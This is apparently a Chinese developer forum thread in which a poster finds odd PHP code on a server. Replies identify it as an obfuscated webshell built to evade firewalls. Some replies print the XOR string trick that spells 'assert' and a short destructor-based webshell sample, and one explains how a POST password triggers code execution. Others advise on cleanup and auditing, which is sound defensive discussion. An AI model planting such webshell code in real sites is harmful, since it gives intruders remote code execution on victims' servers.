不知道写的是什么，感觉这代码也写得太烂了，一点都不规范啊
This topic created in 2565 days ago, the information mentioned may be changed or developed.
Supplement 1 · Oct 30, 2019
谢谢各位，是中木码了，
 |
CloudMxOct 30, 2019
1
变形的一句话：
php > echo '?'^"\x5e"; a php > echo 'y'^"\xa"; s php > echo '<'^"\x4f"; s php > echo 'i'^"\xc"; e php > echo ':'^"\x48"; r php > echo 't'^"\x0"; t |
 |
2
正常开发没人这么写代码，所以服务器上看到乱七八糟的代码都是被黑了。
|
1 |
ShangAliyunOct 30, 2019
3
不知道是不是一句话木马类的东西，用来检测网站是否有能注入文件的漏洞的
|
 |
tomychenOct 30, 2019
4
变形免杀 webshell
兄弟，你的机器被 shell 了 |
 |
shenchOct 30, 2019
5
这显然是木马啊！
|
 |
luckyrayyyOct 30, 2019
6
谁能给解释下啥意思..
|
 |
GG668v26Fd55CP5WOct 30, 2019 via iPhone
7
这就是木马
|
 |
golden0125Oct 30, 2019
8
恭喜你,中马了
|
 |
DogergoOct 30, 2019
9
是个木马
```php class EPLF { function __destruct() { return @assert("$this->RU"); } } $a = new EPLF(); @$a->RU = mkdir('/d/shellattack',0777,true); ``` 类似这样，可以通过远程请求该文件执行一些非法操作，执行的操作通过 post/get 提交的变量来处理。 |
 |
10
一个 php 一句话木马。mr6 是密码。存在 id 参数时 base64 解密，不存在 id 时直接执行。usage:POST mr6=phpinfo() 将会执行 phpinfo。
|
 |
ahsjsOct 30, 2019
11
析构方法过狗么。
|
 |
eason1874Oct 30, 2019
12
assert，效果类似 eval。就是在析构的时候把 RU 变量作为代码字符串传给 assert 执行。
|
 |
laoyurOct 30, 2019
13
莫名喜感
|
 |
JingNiOct 30, 2019
14
构造函数的字符串连接，是专门绕过 waf 的一句话木马，直接能读写你网站根目录的文件，建议楼主备份数据库，检查网站访问日志还有运行环境，找可疑的访问用户。再审计上线原源码的图片上传点还有其他文件包含点吧。
|
 |
15
被黑了居然还嫌人代码不规范
被抢了嫌劫匪不够帅？ |
 |
leadfastOct 30, 2019 via iPhone
17
通常我会觉得这写的太牛批了，狗头保命
|
 |
wzhndd2Oct 30, 2019
18
我也遇到过这种情况，但我是个懒人，我如何能避免自己的服务器免于这种情况呢
|
 |
loginv2Oct 30, 2019
22
不装 PHP 就没事了
|
 |
careOct 30, 2019 via iPhone
23
楼主是怎么发现服务器上多了个文件的🤣
|
 |
kcerOct 30, 2019
24
哈哈哈哈~中奖了~
|
 |
NakeSnailOct 30, 2019
26
能这么写的在很多知识上比一般 PHP 深入多了，差在哪里。。规范？
|
 |
misskikiNov 1, 2019
27
兄弟不用怀疑 你已经中毒了
|
Select Language